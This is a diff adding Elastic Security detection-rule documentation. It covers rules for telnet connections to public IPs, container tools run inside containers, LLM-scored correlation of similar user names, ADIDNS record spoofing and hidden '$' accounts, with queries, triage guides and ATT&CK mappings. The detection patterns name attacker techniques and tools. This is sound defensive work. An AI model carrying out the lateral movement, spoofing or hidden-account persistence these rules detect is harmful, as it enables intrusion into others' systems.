"Zoom.exe" and ( + process.code_signature.subject_name : ("Zoom Video Communications, Inc.", "Zoom Communications, Inc.") and + process.code_signature.trusted == true) and dns.question.name : ("www.googleapis.com", "graph.microsoft.com") + ) or + + /* VSCode */ + (process.name : "Code.exe" and (process.code_signature.subject_name : "Microsoft Corporation" and + process.code_signature.trusted == true) and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + /* Terraform */ + (process.name : "terraform-provider*.exe" and (process.code_signature.subject_name : "HashiCorp, Inc." and + process.code_signature.trusted == true) and dns.question.name : "graph.microsoft.com" + ) or + + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Johannes Schindelin", + "Redis Inc.", + "Slack Technologies, LLC", + "Cisco Systems, Inc.", + "Dropbox, Inc", + "Amazon.com Services LLC", + "Island Technology Inc.", + "GitHub, Inc.", + "Red Hat, Inc", + "Mozilla Corporation" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-external-network-via-telnet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-external-network-via-telnet.asciidoc new file mode 100644 index 0000000000..5bbbf5842c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-connection-to-external-network-via-telnet.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-connection-to-external-network-via-telnet]] +=== Connection to External Network via Telnet + +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to publicly routable IP addresses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to External Network via Telnet* + + +Telnet is a protocol offering a command-line interface for remote communication, often used for device management. However, its lack of encryption makes it vulnerable to interception, allowing adversaries to exploit it for unauthorized access or data exfiltration. The detection rule identifies Telnet connections to external IPs, flagging potential lateral movement by excluding known internal and reserved IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process.entity_id and destination IP address involved in the Telnet connection. +- Verify the legitimacy of the destination IP address by checking if it belongs to a known or trusted external entity, using threat intelligence sources or IP reputation services. +- Investigate the process details associated with the process.entity_id to determine the user account and command line arguments used during the Telnet session. +- Check the system logs and user activity on the host to identify any unusual behavior or unauthorized access attempts around the time of the Telnet connection. +- Assess whether the Telnet connection aligns with expected business operations or if it indicates potential lateral movement or data exfiltration attempts. + + +*False positive analysis* + + +- Internal device management using Telnet may trigger false positives if the destination IPs are not included in the known internal ranges. Users should verify and update the list of internal IP ranges to include any additional internal networks used for legitimate Telnet connections. +- Automated scripts or monitoring tools that use Telnet for legitimate purposes can cause false positives. Identify these scripts and consider creating exceptions for their specific IP addresses or process names to prevent unnecessary alerts. +- Testing environments that simulate external connections for development purposes might be flagged. Ensure that IP addresses used in these environments are documented and excluded from the detection rule to avoid false positives. +- Legacy systems that rely on Telnet for communication with external partners or services may be mistakenly flagged. Review these systems and, if deemed secure, add their IP addresses to an exception list to reduce false alerts. +- Misconfigured network devices that inadvertently use Telnet for external communication can trigger alerts. Regularly audit network configurations and update the detection rule to exclude known benign IPs associated with these devices. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected host to stop ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and processes to identify any unauthorized changes or additional compromised accounts. +- Change all passwords associated with the affected system and any other systems that may have been accessed using Telnet. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network segmentation to limit Telnet access to only necessary internal systems and block Telnet traffic to external networks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name == "telnet"] + [network where host.os.type == "linux" and process.name == "telnet" and not cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-container-management-utility-run-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-container-management-utility-run-inside-a-container.asciidoc new file mode 100644 index 0000000000..2b52d1363c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-container-management-utility-run-inside-a-container.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-container-management-utility-run-inside-a-container]] +=== Container Management Utility Run Inside A Container + +This rule detects when a container management binary is run from inside a container. These binaries are critical components of many containerized environments, and their presence and execution in unauthorized containers could indicate compromise or a misconfiguration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Container Management Utility Run Inside A Container* + + +Container management utilities like Docker and Kubectl are essential for orchestrating and managing containerized applications. They facilitate tasks such as deployment, scaling, and networking. However, adversaries can exploit these tools to execute unauthorized commands within containers, potentially leading to system compromise. The detection rule identifies suspicious execution of these utilities within containers, signaling possible misuse or misconfiguration, by monitoring specific process activities and event types. + + +*Possible investigation steps* + + +- Examine the process name and command line arguments to understand the context of the execution and identify any anomalies or unauthorized commands. +- Check the user and permissions associated with the process to assess if it aligns with expected roles and access levels for container management tasks. +- Investigate the container's creation and deployment history to identify any recent changes or deployments that could explain the presence of the management utility. +- Analyze network activity associated with the container to detect any unusual connections or data transfers that might indicate malicious activity. +- Correlate the event with other security alerts or logs to identify patterns or related incidents that could provide additional context or evidence of compromise. + + +*False positive analysis* + + +- Routine maintenance tasks within containers can trigger the rule. Exclude known maintenance scripts or processes by adding them to an allowlist if they frequently execute container management utilities. +- Development and testing environments often run container management commands for legitimate purposes. Consider excluding these environments from monitoring or adjust the rule to focus on production environments only. +- Automated deployment tools may execute container management commands as part of their workflow. Identify these tools and create exceptions for their activities to prevent false positives. +- System updates or patches might involve running container management utilities. Monitor update schedules and temporarily adjust the rule to avoid unnecessary alerts during these periods. +- Legitimate administrative actions by authorized personnel can trigger the rule. Implement user-based exceptions for known administrators to reduce false positives while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or execution of commands. This can be done by stopping the container or disconnecting it from the network. +- Review the container's configuration and access controls to identify any misconfigurations or unauthorized access permissions that may have allowed the execution of container management utilities. +- Conduct a thorough analysis of the container's logs and process activities to determine the extent of the compromise and identify any additional malicious activities or lateral movement attempts. +- Remove any unauthorized or suspicious binaries and scripts from the container to prevent further exploitation. +- Patch and update the container image and underlying host system to address any known vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring on container management utilities to ensure they are only accessible by authorized users and processes. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader security measures across the container environment. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.interactive == true and +process.name in ("dockerd", "kubelet", "kube-proxy", "kubectl", "containerd", "systemd", "crictl") and +not ( + process.parent.executable in ("/sbin/init", "/usr/bin/dockerd", "/usr/bin/runc", "/usr/bin/containerd-shim-runc-v2") or + process.working_directory == "/aws" or + process.parent.command_line == "runc init" or + (process.parent.name == "busybox" and process.name == "kubectl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-correlated-alerts-on-similar-user-identities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-correlated-alerts-on-similar-user-identities.asciidoc new file mode 100644 index 0000000000..850b85a524 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-correlated-alerts-on-similar-user-identities.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-correlated-alerts-on-similar-user-identities]] +=== Correlated Alerts on Similar User Identities + +This rule correlates alerts from multiple integrations and event categories that involve different user.name values which may represent the same real-world identity. It uses an LLM-based similarity analysis to evaluate whether multiple user identifiers (e.g. naming variations, formats, aliases, or domain differences) likely belong to the same person. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/query-languages/esql/esql-commands#esql-completion +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Identity +* Domain: LLM +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Rule Type: Higher-Order Rule + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, analysts should validate findings against their environment and identity architecture. + + +*Investigating Correlated Alerts on Similar User Identities* + + +This rule identifies alerts from multiple integrations and event categories involving different `user.name` values that may represent the same real-world identity. +An LLM is used to assess string similarity and naming patterns to determine whether multiple user identifiers likely belong to the same person, which may indicate account compromise, credential abuse, or identity misuse across systems. + + +*Possible investigation steps* + + +- Review the correlated `user.name` values and validate whether they represent naming variations, aliases, or identity mappings. +- Examine the LLM output fields (`verdict`, `confidence`, `summary`) as decision support, not ground truth. +- Analyze the diversity of alert sources, event categories, and detection rules involved. +- Reconstruct the alert timeline to identify potential stages such as initial access, lateral movement, privilege escalation, or persistence. +- Correlate with authentication logs, IAM/SSO telemetry, EDR data, and network logs to identify shared sessions, IPs, devices, or hosts. +- Validate identities against directory services, identity providers, and federation mappings. + + +*False positive analysis* + + +- Identity format variations across systems (e.g., `first.last`, `flast`, `user@domain`). +- Federated identity mappings between on-prem, cloud, and SaaS platforms. +- Service, automation, and CI/CD accounts with similar naming conventions. +- Separate admin and standard user accounts for the same individual. +- Shared credentials or naming templates in development and test environments. + + +*Response and remediation* + + +- Temporarily disable or suspend correlated accounts if compromise is suspected. +- Revoke active sessions, tokens, and credentials. +- Investigate access scope, privileges, and lateral movement paths. +- Perform endpoint and identity forensics to identify persistence mechanisms. +- Remediate IAM misconfigurations and federation issues. +- Enhance monitoring for identity correlation, credential misuse, and cross-platform abuse.. + +==== Setup + + + +*Setup* + + + +*LLM Configuration* + + +This rule uses the ES|QL COMPLETION command with Elastic's managed General Purpose LLM v2 (`.gp-llm-v2-completion`), +which is available out-of-the-box in Elastic Cloud deployments with an appropriate subscription. + +To use a different LLM provider (Azure OpenAI, Amazon Bedrock, OpenAI, or Google Vertex), configure a connector +following the https://www.elastic.co/docs/explore-analyze/ai-features/llm-guides/llm-connectors[LLM connector documentation] +and update the `inference_id` parameter in the query to reference your configured connector. + + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* + +// truncate timestamp to 5-minute window +| eval Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) + +// high severity alerts excluding system standard user.ids +| where kibana.alert.rule.name is not null and user.name is not null and kibana.alert.risk_score >= 73 and kibana.alert.workflow_status == "open" and + not kibana.alert.rule.type in ("threat_match", "machine_learning") and + not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20", "0") + +// group alerts by short time window and extract values of interest for alert triage +| stats Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.user_name_distinct_count = COUNT_DISTINCT(user.name), + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.event_category_distinct_count = COUNT_DISTINCT(event.category), + Esql.rule_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.event_module_values = VALUES(event.module), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.message_values = VALUES(message), + Esql.event_category_values = VALUES(event.category), + Esql.event_action_values = VALUES(event.action), + Esql.source_ip_values = VALUES(source.ip), + Esql.destination_ip_values = VALUES(destination.ip), + Esql.host_id_values = VALUES(host.id), + Esql.agent_id_values = VALUES(agent.id), + Esql.rule_severity_values = VALUES(kibana.alert.risk_score), + Esql.user_name_values = VALUES(user.name) by Esql.time_window_date_trunc + +// filter for alerts from different integrations with unique categories +| where Esql.event_module_distinct_count >= 2 and Esql.user_name_distinct_count >= 2 and Esql.event_category_distinct_count >= 2 + +// build context for LLM analysis +| eval users_list = MV_CONCAT(Esql.user_name_values, ",") + +// LLM analysis +| eval instructions = "Analyze the provided user names and return a boolean value true if at least 2 of them are similar and they may belong to the same human identify or false if not, do not compare user names that may look like service accounts. If the list of users has more than 2 users and only 2 of them are similar consider this as true. Structure the output as follows: verdict= confidence= summary= without any other response statements on a single line." +| eval prompt = CONCAT("User identities extracted from different alerts: ", users_list, instructions) +| COMPLETION triage_result = prompt WITH { "inference_id": ".gp-llm-v2-completion"} + +// parse LLM response +| DISSECT triage_result """verdict=%{Esql.verdict} confidence=%{Esql.confidence} summary=%{Esql.summary}""" + +// filter for similar user values +| where TO_LOWER(Esql.verdict) == "true" +| keep Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-dns-named-record.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-dns-named-record.asciidoc new file mode 100644 index 0000000000..c763bc9b36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-dns-named-record.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-creation-of-a-dns-named-record]] +=== Creation of a DNS-Named Record + +Active Directory Integrated DNS (ADIDNS) is one of the core components of AD DS, leveraging AD's access control and replication to maintain domain consistency. It stores DNS zones as AD objects, a feature that, while robust, introduces some security issues because of the default permission (Any authenticated users) to create DNS-named records. Attackers can perform Dynamic Spoofing attacks, where they monitor LLMNR/NBT-NS requests and create DNS-named records to target systems that are requested from multiple systems. They can also create specific records to target specific services, such as wpad, for spoofing attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/ +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/wpad-spoofing + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of a DNS-Named Record* + + +Active Directory Integrated DNS (ADIDNS) is crucial for maintaining domain consistency by storing DNS zones as AD objects. However, its default permissions can be exploited by attackers to create DNS records for spoofing attacks, targeting services like WPAD. The detection rule identifies such abuse by monitoring specific Windows events related to DNS record creation, filtering out legitimate system accounts to highlight potential threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 5137 to identify the specific DNS-named record that was created and the associated timestamp. +- Examine the winlog.event_data.SubjectUserName field to determine the user account that initiated the DNS record creation, ensuring it is not a system account. +- Investigate the context around the winlog.event_data.ObjectClass field to confirm the object class is "dnsNode" and assess if the DNS record creation aligns with expected administrative activities. +- Check for any recent LLMNR/NBT-NS requests or network traffic that might indicate an attempt to exploit the newly created DNS record for spoofing purposes. +- Correlate the alert with other security events or logs to identify any patterns or anomalies that might suggest malicious intent or unauthorized access attempts. +- Assess the risk and impact of the DNS record creation by determining if it targets critical services like WPAD or other sensitive systems within the network. + + +*False positive analysis* + + +- Legitimate administrative actions may trigger the rule when DNS records are created or modified by IT staff. To manage this, create exceptions for known administrative accounts that regularly perform these tasks. +- Automated system processes or scripts that update DNS records can also cause false positives. Identify these processes and exclude their associated accounts from the rule to prevent unnecessary alerts. +- Service accounts used by legitimate applications to dynamically update DNS records might be flagged. Review these accounts and add them to an exception list if they are verified as non-threatening. +- Temporary network changes or testing environments where DNS records are frequently modified can lead to false positives. Consider excluding these environments or specific IP ranges from the rule to reduce noise. +- Regularly review and update the exception list to ensure it reflects current network and administrative practices, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious DNS record creation and potential spoofing attacks. +- Review and remove any unauthorized DNS records created by non-system accounts, focusing on those targeting services like WPAD. +- Reset credentials for any accounts that were potentially compromised or used in the attack to prevent further unauthorized access. +- Implement stricter access controls on DNS record creation within Active Directory to limit permissions to only necessary and trusted accounts. +- Monitor for any further suspicious DNS record creation events, particularly those involving non-system accounts, to detect and respond to potential follow-up attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or services were affected. +- Conduct a post-incident review to identify gaps in detection and response, and update security policies and procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover the target object by default (we still need it to be configured to generate events), so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule. + +``` +Set-AuditRule -AdObjectPath 'AD:\CN=MicrosoftDNS,DC=DomainDNSZones,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights CreateChild -InheritanceFlags Descendents -AttributeGUID e0fa1e8c-9b45-11d0-afdd-00c04fd930c9 -AuditFlags Success +``` + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5137" and winlog.event_data.ObjectClass == "dnsNode" and + not winlog.event_data.SubjectUserName : "*$" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-hidden-local-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-hidden-local-user-account.asciidoc new file mode 100644 index 0000000000..da0a4e8e57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-a-hidden-local-user-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-creation-of-a-hidden-local-user-account]] +=== Creation of a Hidden Local User Account + +Identifies the creation of a hidden local user account by appending the dollar sign to the account name. This is sometimes done by attackers to increase access to a system and avoid appearing in the results of accounts listing using the net users command. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329153858/https://blog.menasec.net/2019/02/threat-hunting-6-hiding-in-plain-sights_8.html +* https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/tree/master/2020/2020.12.15.Lazarus_Campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation of a Hidden Local User Account* + + +Attackers can create accounts ending with a `$` symbol to make the account hidden to user enumeration utilities and bypass detections that identify computer accounts by this pattern to apply filters. + +This rule uses registry events to identify the creation of local hidden accounts. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their 